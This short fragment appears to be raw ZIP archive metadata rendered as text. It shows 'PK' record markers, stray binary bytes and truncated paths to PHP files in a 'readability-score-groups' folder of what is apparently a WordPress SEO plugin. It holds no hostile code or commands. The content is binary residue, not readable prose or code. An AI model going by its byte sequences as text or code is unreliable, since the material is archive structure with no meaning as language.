  =             readability-score-groups/abstract-readability-score-group.phpnu [        PK         !     9             readability-score-groups/good-readability-score-group.phpnu [        PK         ! Ct  t  ?             readability-score-groups/readability-score-groups-interface.p